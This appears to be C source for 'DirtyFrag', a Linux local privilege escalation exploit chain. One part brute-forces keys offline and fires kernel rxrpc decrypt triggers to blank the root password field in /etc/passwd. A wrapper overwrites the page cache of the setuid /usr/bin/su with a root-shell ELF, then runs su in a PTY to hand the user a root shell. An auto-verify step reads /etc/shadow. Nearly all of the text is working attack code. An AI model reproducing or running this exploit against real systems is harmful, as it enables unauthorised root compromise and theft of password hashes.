fprintf(stderr, "\[\*\] /etc/passwd line 1 (root entry) BEFORE: '");
for (int i = 0; i < 32; i++) {
char c = ((const char \*)map)\[i\];
fputc((c == '\\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
}
fprintf(stderr, "'\\n");
/\* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE ===
\*
\* Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search
\* independently for K\_A (chars 4-5 = "::"), K\_B (chars 6-7 = "0:"),
\* K\_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches
\* are user-space only — no kernel/VM interaction.
\*
\* Last-write-wins ordering: trigger A first (covers 4..11), then B
\* (covers 6..13 — overrides A's 6..11), then C (covers 8..15 —
\* overrides A's 8..11 and B's 8..13). Final state of chars 4..15:
\* chars 4..5 = P\_A\[0..1\]
\* chars 6..7 = P\_B\[0..1\]
\* chars 8..15 = P\_C\[0..7\]
\* =================================================================\*/
uint8\_t Ca\[8\], Cb\[8\], Cc\[8\];
int off\_a = 4, off\_b = 6, off\_c = 8;
if (pread(rfd\_ro, Ca, 8, off\_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; }
if (pread(rfd\_ro, Cb, 8, off\_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; }
if (pread(rfd\_ro, Cc, 8, off\_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; }
LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \\"%c%c%c%c%c%c%c%c\\"",
off\_a, Ca\[0\],Ca\[1\],Ca\[2\],Ca\[3\],Ca\[4\],Ca\[5\],Ca\[6\],Ca\[7\],
(Ca\[0\]>=32&&Ca\[0\]<127)?Ca\[0\]:'.', (Ca\[1\]>=32&&Ca\[1\]<127)?Ca\[1\]:'.',
(Ca\[2\]>=32&&Ca\[2\]<127)?Ca\[2\]:'.', (Ca\[3\]>=32&&Ca\[3\]<127)?Ca\[3\]:'.',
(Ca\[4\]>=32&&Ca\[4\]<127)?Ca\[4\]:'.', (Ca\[5\]>=32&&Ca\[5\]<127)?Ca\[5\]:'.',
(Ca\[6\]>=32&&Ca\[6\]<127)?Ca\[6\]:'.', (Ca\[7\]>=32&&Ca\[7\]<127)?Ca\[7\]:'.');
LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \\"%c%c%c%c%c%c%c%c\\"",
off\_b, Cb\[0\],Cb\[1\],Cb\[2\],Cb\[3\],Cb\[4\],Cb\[5\],Cb\[6\],Cb\[7\],
(Cb\[0\]>=32&&Cb\[0\]<127)?Cb\[0\]:'.', (Cb\[1\]>=32&&Cb\[1\]<127)?Cb\[1\]:'.',
(Cb\[2\]>=32&&Cb\[2\]<127)?Cb\[2\]:'.', (Cb\[3\]>=32&&Cb\[3\]<127)?Cb\[3\]:'.',
(Cb\[4\]>=32&&Cb\[4\]<127)?Cb\[4\]:'.', (Cb\[5\]>=32&&Cb\[5\]<127)?Cb\[5\]:'.',
(Cb\[6\]>=32&&Cb\[6\]<127)?Cb\[6\]:'.', (Cb\[7\]>=32&&Cb\[7\]<127)?Cb\[7\]:'.');
LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \\"%c%c%c%c%c%c%c%c\\"",
off\_c, Cc\[0\],Cc\[1\],Cc\[2\],Cc\[3\],Cc\[4\],Cc\[5\],Cc\[6\],Cc\[7\],
(Cc\[0\]>=32&&Cc\[0\]<127)?Cc\[0\]:'.', (Cc\[1\]>=32&&Cc\[1\]<127)?Cc\[1\]:'.',
(Cc\[2\]>=32&&Cc\[2\]<127)?Cc\[2\]:'.', (Cc\[3\]>=32&&Cc\[3\]<127)?Cc\[3\]:'.',
(Cc\[4\]>=32&&Cc\[4\]<127)?Cc\[4\]:'.', (Cc\[5\]>=32&&Cc\[5\]<127)?Cc\[5\]:'.',
(Cc\[6\]>=32&&Cc\[6\]<127)?Cc\[6\]:'.', (Cc\[7\]>=32&&Cc\[7\]<127)?Cc\[7\]:'.');
fcrypt\_init\_sboxes();
/\* selftest \*/
{
fcrypt\_uctx ctx;
uint8\_t z\[8\] = {0};
uint8\_t cv\[8\] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 };
uint8\_t pv\[8\];
fcrypt\_user\_setkey(&ctx, z);
fcrypt\_user\_decrypt(&ctx, pv, cv);
if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; }
}
LOG("fcrypt selftest OK");
uint8\_t Ka\[8\], Pa\_out\[8\];
uint8\_t Kb\[8\], Pb\_out\[8\];
uint8\_t Kc\[8\], Pc\_out\[8\];
uint8\_t Cb\_actual\[8\], Cc\_actual\[8\];
{
uint64\_t max\_iters = 10000000000ULL;
const char \*e = getenv("LPE\_MAX\_ITERS");
if (e) max\_iters = strtoull(e, NULL, 0);
uint64\_t seed\_base = (uint64\_t)time(NULL) \* 0x100000001ULL ^ (uint64\_t)getpid();
const char \*se = getenv("LPE\_SEED");
if (se) seed\_base = strtoull(se, NULL, 0);
fprintf(stderr, "\\n=== STAGE 1a: search K\_A (chars 4-5 := \\"::\\") prob ~1.5e-5 ===\\n");
if (find\_K\_offline\_generic(Ca, max\_iters, fc\_check\_pa\_nullok,
Ka, Pa\_out, seed\_base, "K\_A") != 0) {
WARN("K\_A search exhausted"); return 2;
}
/\* After splice A is applied, the ciphertext that splice B will
\* see at file offset 6 is NOT the original Cb — it's the bytes
\* that splice A wrote to file offsets 6..11 (= Pa\[2..7\]) plus
\* the original bytes 12..13 (= Cb\[6..7\]). We must derive
\* Cb\_actual and search K\_B against it. \*/
memcpy(Cb\_actual, Pa\_out + 2, 6);
memcpy(Cb\_actual + 6, Cb + 6, 2);
LOG("Cb\_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x",
Cb\_actual\[0\],Cb\_actual\[1\],Cb\_actual\[2\],Cb\_actual\[3\],
Cb\_actual\[4\],Cb\_actual\[5\],Cb\_actual\[6\],Cb\_actual\[7\]);
fprintf(stderr, "\\n=== STAGE 1b: search K\_B (chars 6-7 := \\"0:\\") prob ~1.5e-5 ===\\n");
if (find\_K\_offline\_generic(Cb\_actual, max\_iters, fc\_check\_pb\_nullok,
Kb, Pb\_out, seed\_base ^ 0xa5a5a5a5a5a5a5a5ULL,
"K\_B") != 0) {
WARN("K\_B search exhausted"); return 2;
}
/\* Same chaining logic for splice C: after splice B, file offsets
\* 8..13 hold Pb\[2..7\]; offsets 14..15 still hold the original
\* bytes Cc\[6..7\]. \*/
memcpy(Cc\_actual, Pb\_out + 2, 6);
memcpy(Cc\_actual + 6, Cc + 6, 2);
LOG("Cc\_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x",
Cc\_actual\[0\],Cc\_actual\[1\],Cc\_actual\[2\],Cc\_actual\[3\],
Cc\_actual\[4\],Cc\_actual\[5\],Cc\_actual\[6\],Cc\_actual\[7\]);
fprintf(stderr, "\\n=== STAGE 1c: search K\_C (chars 8-15 := \\"0:GGGGGG:\\") prob ~5.4e-8 ===\\n");
if (find\_K\_offline\_generic(Cc\_actual, max\_iters, fc\_check\_pc\_nullok,
Kc, Pc\_out, seed\_base ^ 0x5a5a5a5a5a5a5a5aULL,
"K\_C") != 0) {
WARN("K\_C search exhausted"); return 2;
}
}
fprintf(stderr, "\\n\[+\] Predicted post-corruption /etc/passwd line 1:\\n \\"root");
/\* chars 4-5 from P\_A \*/
for (int i = 0; i < 2; i++) fputc((Pa\_out\[i\]>=32&&Pa\_out\[i\]<127)?Pa\_out\[i\]:'.', stderr);
/\* chars 6-7 from P\_B \*/
for (int i = 0; i < 2; i++) fputc((Pb\_out\[i\]>=32&&Pb\_out\[i\]<127)?Pb\_out\[i\]:'.', stderr);
/\* chars 8-15 from P\_C \*/
for (int i = 0; i < 8; i++) fputc((Pc\_out\[i\]>=32&&Pc\_out\[i\]<127)?Pc\_out\[i\]:'.', stderr);
fprintf(stderr, "/root:/bin/bash\\"\\n");
/\* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) ===
\* Each trigger does a single in-place decrypt at the
\* indicated /etc/passwd file offset. Last-write-wins on overlapping
\* bytes determines the final state.
\*/
fprintf(stderr, "\\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \\"::\\") ===\\n", off\_a);
memcpy(SESSION\_KEY, Ka, 8);
if (do\_one\_trigger(rfd\_ro, off\_a, 8) < 0) {
WARN("kernel trigger A failed"); return 3;
}
fprintf(stderr, "\\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \\"0:\\") ===\\n", off\_b);
memcpy(SESSION\_KEY, Kb, 8);
if (do\_one\_trigger(rfd\_ro, off\_b, 8) < 0) {
WARN("kernel trigger B failed"); return 3;
}
fprintf(stderr, "\\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \\"0:GGGGGG:\\") ===\\n", off\_c);
memcpy(SESSION\_KEY, Kc, 8);
if (do\_one\_trigger(rfd\_ro, off\_c, 8) < 0) {
WARN("kernel trigger C failed"); return 3;
}
/\* Verify: re-read line 1 of /etc/passwd via mmap. \*/
fprintf(stderr, "\[\*\] /etc/passwd line 1 (root entry) AFTER: '");
for (int i = 0; i < 32; i++) {
char c = ((const char \*)map)\[i\];
fputc((c == '\\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
}
fprintf(stderr, "'\\n");
/\* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. \*/
{
const char \*m = (const char \*)map;
int ok = (m\[4\] == ':' && m\[5\] == ':' &&
m\[6\] == '0' && m\[7\] == ':' &&
m\[8\] == '0' && m\[9\] == ':' &&
m\[15\] == ':');
if (!ok) {
WARN("post-trigger sanity check failed — char layout off");
return 4;
}
}
fprintf(stderr,
"\\n\[!!!\] HIT — root entry now has empty passwd field, uid=0, "
"gid=0, dir=/root, shell=/bin/bash.\\n");
/\* === STAGE 3 — VERIFY VIA getent passwd root === \*/
fprintf(stderr,
"\\n=== STAGE 3: independent verify via \`getent passwd root\` ===\\n");
{
int p\[2\];
if (pipe(p) == 0) {
pid\_t pid = fork();
if (pid == 0) {
close(p\[0\]);
dup2(p\[1\], 1);
dup2(p\[1\], 2);
close(p\[1\]);
execlp("getent", "getent", "passwd", "root", NULL);
\_exit(127);
}
close(p\[1\]);
char buf\[1024\];
ssize\_t r = read(p\[0\], buf, sizeof(buf) - 1);
close(p\[0\]);
int wstatus = 0;
waitpid(pid, &wstatus, 0);
if (r > 0) {
buf\[r\] = 0;
fprintf(stderr, "\[getent passwd root\] %s", buf);
}
fprintf(stderr,
"\[+\] PRIMITIVE proven: root entry has empty passwd field "
"via NSS.\\n");
}
}
/\* Honour \`--corrupt-only\` arg or DIRTYFRAG\_CORRUPT\_ONLY=1 env so
\* the chain wrapper can skip the in-process su PTY stage and exec
\* /usr/bin/su itself. Avoids the flaky posix\_openpt bridge. \*/
{
int co\_flag = 0;
for (int i = 1; i < argc; i++)
if (!strcmp(argv\[i\], "--corrupt-only")) { co\_flag = 1; break; }
const char \*e = getenv("DIRTYFRAG\_CORRUPT\_ONLY");
if (e && \*e == '1') co\_flag = 1;
if (co\_flag) return 0;
}
/\* === STAGE 4 — \`su\` (target=root, no password input) ===
\* PAM common-auth contains "auth \[success=2 default=ignore\]
\* pam\_unix.so nullok" — so a target user with empty passwd field
\* + nullok flag accepts an empty password. We auto-inject a
\* single newline on the "Password:" prompt and then bridge the
\* resulting bash to the user's tty. \*/
fprintf(stderr,
"\\n=== STAGE 4: spawning interactive root shell via \`su\` "
"(no password input needed) ===\\n\\n");
fflush(stderr);
int master = posix\_openpt(O\_RDWR | O\_NOCTTY);
if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) {
WARN("posix\_openpt: %s", strerror(errno));
return 5;
}
char \*slave\_name = ptsname(master);
struct winsize ws;
if (ioctl(STDIN\_FILENO, TIOCGWINSZ, &ws) == 0) {
ioctl(master, TIOCSWINSZ, &ws);
}
pid\_t pid = fork();
if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; }
if (pid == 0) {
/\* child \*/
setsid();
int slave = open(slave\_name, O\_RDWR);
if (slave < 0) \_exit(127);
ioctl(slave, TIOCSCTTY, 0);
dup2(slave, 0); dup2(slave, 1); dup2(slave, 2);
if (slave > 2) close(slave);
close(master);
/\* \`su\` with no args targets root. PAM common-auth's pam\_unix.so
\* nullok accepts the empty passwd we planted in /etc/passwd. \*/
execlp("su", "su", NULL);
\_exit(127);
}
/\* parent: bridge user's tty <-> master. \*/
struct termios saved\_termios;
int saved\_termios\_ok = (tcgetattr(STDIN\_FILENO, &saved\_termios) == 0);
if (saved\_termios\_ok) {
struct termios raw = saved\_termios;
cfmakeraw(&raw);
tcsetattr(STDIN\_FILENO, TCSANOW, &raw);
}
int auto\_pw\_sent = 0;
int stdin\_eof = 0; /\* set when stdin closes (e.g. /dev/null) \*/
char buf\[4096\];
/\* If LPE\_AUTO\_VERIFY=1 is set, the bridge will inject
\* \`id; whoami; exit\\n\` so it can prove uid=0 non-interactively
\* (e.g. when stdin is /dev/null in CI). \*/
int auto\_verify = 0;
{
const char \*e = getenv("LPE\_AUTO\_VERIFY");
if (e && \*e == '1') auto\_verify = 1;
}
int verify\_sent = 0;
int total\_ms = 0;
for (;;) {
struct pollfd pfds\[2\] = {
{ stdin\_eof ? -1 : STDIN\_FILENO, POLLIN, 0 },
{ master, POLLIN, 0 },
};
int pr = poll(pfds, 2, 200);
if (pr < 0 && errno != EINTR) break;
total\_ms += 200;
if (pfds\[1\].revents & POLLIN) {
ssize\_t n = read(master, buf, sizeof(buf));
if (n <= 0) break;
(void)write(STDOUT\_FILENO, buf, n);
if (!auto\_pw\_sent && (size\_t)n < sizeof(buf)) {
buf\[n\] = 0;
if (strstr(buf, "Password") || strstr(buf, "password")) {
/\* Empty password — PAM nullok will accept it.
\* (When pam\_unix sees an empty passwd field plus
\* nullok it skips the prompt entirely; this branch
\* handles the case where some other PAM module
\* prints a prompt anyway.) \*/
(void)write(master, "\\n", 1);
auto\_pw\_sent = 1;
}
}
}
if (!stdin\_eof && (pfds\[0\].revents & POLLIN)) {
ssize\_t n = read(STDIN\_FILENO, buf, sizeof(buf));
if (n <= 0) {
/\* stdin EOF — stop reading from it but keep bridging
\* master → stdout so su can still finish auth and run
\* the optional auto-verify command. \*/
stdin\_eof = 1;
} else {
(void)write(master, buf, n);
}
}
if (pfds\[1\].revents & (POLLHUP | POLLERR)) break;
/\* Auto-verify: ~1 s after spawn, send \`id; whoami; exit\\n\` so
\* the bridge captures uid=0 evidence non-interactively even
\* when pam\_unix's blank-passwd path skips the prompt. \*/
if (auto\_verify && !verify\_sent && total\_ms >= 1000) {
const char cmd\[\] = "id; whoami; cat /etc/shadow | head -2; exit\\n";
(void)write(master, cmd, sizeof(cmd) - 1);
verify\_sent = 1;
}
int status;
pid\_t w = waitpid(pid, &status, WNOHANG);
if (w == pid) {
for (int i = 0; i < 5; i++) {
struct pollfd pf = { master, POLLIN, 0 };
if (poll(&pf, 1, 50) <= 0) break;
ssize\_t n = read(master, buf, sizeof(buf));
if (n <= 0) break;
(void)write(STDOUT\_FILENO, buf, n);
}
break;
}
}
if (saved\_termios\_ok) {
tcsetattr(STDIN\_FILENO, TCSANOW, &saved\_termios);
}
close(master);
return 0;
}
/*
* DirtyFrag chain — uid=1000 → root.
*
* 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first
* 160 bytes of /usr/bin/su's page-cache with a static x86_64 root-
* shell ELF. Works on every distro tested regardless of PAM nullok
* or /etc/passwd contents — once invoked, the patched setuid-root
* /usr/bin/su just execs /bin/sh as uid 0.
*
* 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP
* path can't reach the page cache, fall back to the rxrpc/rxkad
* nullok primitive that patches /etc/passwd's root entry empty.
* PAM nullok then accepts the empty password during `su -`.
*
* 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a
* fresh PTY and bridge the user's tty to it. The bridge handles
* both the patched-su (no PAM at all) and the patched-passwd (PAM
* nullok) cases uniformly, and works even when the caller is in a
* background process group of an ssh-allocated PTY.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <signal.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <stdint.h>
extern int su_lpe_main(int argc, char **argv);
extern int rxrpc_lpe_main(int argc, char **argv);
/*
* The 8 bytes our su payload places at file offset 0x78 — the first
* instructions of the embedded shell ELF. Sequence:
* 31 ff xor edi, edi
* 31 f6 xor esi, esi
* 31 c0 xor eax, eax
* b0 6a mov al, 0x6a (setgid)
* Distros' original /usr/bin/su has different bytes here, so this is
* a reliable post-patch marker.
*
* (We don't check offset 0 because /usr/bin/su already has the ELF
* magic there — both before and after we patch.)
*/
static const uint8_t su_marker[8] = {
0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
};
static int su_already_patched(void)
{
int fd = open("/usr/bin/su", O_RDONLY);
if (fd < 0)
return 0;
uint8_t got[8];
ssize_t n = pread(fd, got, sizeof(got), 0x78);
close(fd);
if (n != sizeof(got))
return 0;
return memcmp(got, su_marker, sizeof(su_marker)) == 0;
}
static int passwd_already_patched(void)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0)
return 0;
char head[16];
ssize_t n = pread(fd, head, sizeof(head), 0);
close(fd);
if (n < 9)
return 0;
return memcmp(head, "root::0:0", 9) == 0;
}
static int either_target_patched(void)
{
return su_already_patched() || passwd_already_patched();
}
static void silence_stderr(int *saved_fd)
{
*saved_fd = dup(STDERR_FILENO);
int dn = open("/dev/null", O_WRONLY);
if (dn >= 0) {
dup2(dn, STDERR_FILENO);
close(dn);
}
}
static void restore_stderr(int saved_fd)
{
if (saved_fd >= 0) {
dup2(saved_fd, STDERR_FILENO);
close(saved_fd);
}
}
static char **append_corrupt_only(int argc, char **argv, int *new_argc)
{
static char *flag = "--corrupt-only";
static char *buf[64];
int n = argc < 60 ? argc : 60;
for (int i = 0; i < n; i++)
buf[i] = argv[i];
buf[n] = flag;
buf[n + 1] = NULL;
*new_argc = n + 1;
return buf;
}
static void exec_su_login(void)
{
const char *paths[] = {
"/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL,
};
for (int i = 0; paths[i]; i++)
execl(paths[i], "su", "-", (char *)NULL);
execlp("su", "su", "-", (char *)NULL);
}
/*
* Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it.
*/
static int run_root_pty(void)
{
int master = posix_openpt(O_RDWR | O_NOCTTY);
if (master < 0)
return -1;
if (grantpt(master) < 0 || unlockpt(master) < 0) {
close(master);
return -1;
}
char *slave_name = ptsname(master);
if (!slave_name) {
close(master);
return -1;
}
struct winsize ws;
if (ioctl(STDIN\_FILENO, TIOCGWINSZ, &ws) == 0)
ioctl(master, TIOCSWINSZ, &ws);
pid\_t pid = fork();
if (pid < 0) {
close(master);
return -1;
}
if (pid == 0) {
setsid();
int slave = open(slave\_name, O\_RDWR);
if (slave < 0)
\_exit(127);
ioctl(slave, TIOCSCTTY, 0);
dup2(slave, 0);
dup2(slave, 1);
dup2(slave, 2);
if (slave > 2)
close(slave);
close(master);
exec\_su\_login();
\_exit(127);
}
signal(SIGTTOU, SIG\_IGN);
signal(SIGTTIN, SIG\_IGN);
signal(SIGPIPE, SIG\_IGN);
signal(SIGHUP, SIG\_IGN);
(void)setpgid(0, 0);
(void)tcsetpgrp(STDIN\_FILENO, getpid());
struct termios saved\_termios;
int restore\_termios = 0;
if (tcgetattr(STDIN\_FILENO, &saved\_termios) == 0) {
struct termios raw = saved\_termios;
cfmakeraw(&raw);
if (tcsetattr(STDIN\_FILENO, TCSANOW, &raw) == 0)
restore\_termios = 1;
}
int auto\_pw\_sent = 0;
int stdin\_eof = 0;
int saw\_master\_output = 0;
int total\_ms = 0;
char buf\[4096\];
for (;;) {
struct pollfd pfds\[2\] = {
{ stdin\_eof ? -1 : STDIN\_FILENO, POLLIN, 0 },
{ master, POLLIN, 0 },
};
int pr = poll(pfds, 2, 200);
if (pr < 0 && errno != EINTR)
break;
total\_ms += 200;
if (pfds\[1\].revents & POLLIN) {
ssize\_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
saw\_master\_output = 1;
(void)write(STDOUT\_FILENO, buf, n);
if (!auto\_pw\_sent && n < (ssize\_t)sizeof(buf)) {
buf\[n\] = 0;
if (strstr(buf, "Password") ||
strstr(buf, "password")) {
(void)write(master, "\\n", 1);
auto\_pw\_sent = 1;
}
}
}
if (!stdin\_eof && (pfds\[0\].revents & POLLIN)) {
ssize\_t n = read(STDIN\_FILENO, buf, sizeof(buf));
if (n <= 0)
stdin\_eof = 1;
else
(void)write(master, buf, n);
}
if (pfds\[1\].revents & (POLLHUP | POLLERR))
break;
if (!auto\_pw\_sent && !saw\_master\_output && total\_ms >= 1500) {
(void)write(master, "\\n", 1);
auto\_pw\_sent = 1;
}
int status;
pid\_t w = waitpid(pid, &status, WNOHANG);
if (w == pid) {
for (int i = 0; i < 5; i++) {
struct pollfd pf = { master, POLLIN, 0 };
if (poll(&pf, 1, 50) <= 0)
break;
ssize\_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
(void)write(STDOUT\_FILENO, buf, n);
}
break;
}
}
if (restore\_termios)
tcsetattr(STDIN\_FILENO, TCSANOW, &saved\_termios);
close(master);
return 0;
}
int main(int argc, char **argv)
{
int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
int force_esp = 0, force_rxrpc = 0;
int saved_err = -1;
int rc = 1;
int new_argc;
char **co_argv;
for (int i = 1; i < argc; i++) {
if (!strcmp(argv\[i\], "--force-esp"))
force\_esp = 1;
else if (!strcmp(argv\[i\], "--force-rxrpc"))
force\_rxrpc = 1;
else if (!strcmp(argv\[i\], "-v") ||
!strcmp(argv\[i\], "--verbose"))
verbose = 1;
}
if (getuid() == 0) {
execlp("/bin/bash", "bash", (char \*)NULL);
\_exit(1);
}
co\_argv = append\_corrupt\_only(argc, argv, &new\_argc);
if (!verbose)
silence\_stderr(&saved\_err);
if (force\_rxrpc) {
rc = rxrpc\_lpe\_main(new\_argc, co\_argv);
for (int i = 0; !passwd\_already\_patched() && i < 3; i++)
rc = rxrpc\_lpe\_main(new\_argc, co\_argv);
} else if (force\_esp) {
rc = su\_lpe\_main(new\_argc, co\_argv);
} else {
rc = su\_lpe\_main(new\_argc, co\_argv);
if (!su\_already\_patched()) {
rc = rxrpc\_lpe\_main(new\_argc, co\_argv);
for (int i = 0; !passwd\_already\_patched() && i < 3; i++)
rc = rxrpc\_lpe\_main(new\_argc, co\_argv);
}
}
int patched = either\_target\_patched();
if (!verbose)
restore\_stderr(saved\_err);
if (patched) {
(void)run\_root\_pty();
return 0;
}
dprintf(2, "dirtyfrag: failed (rc=%d)\\n", rc);
return rc ? rc : 1;
}
```
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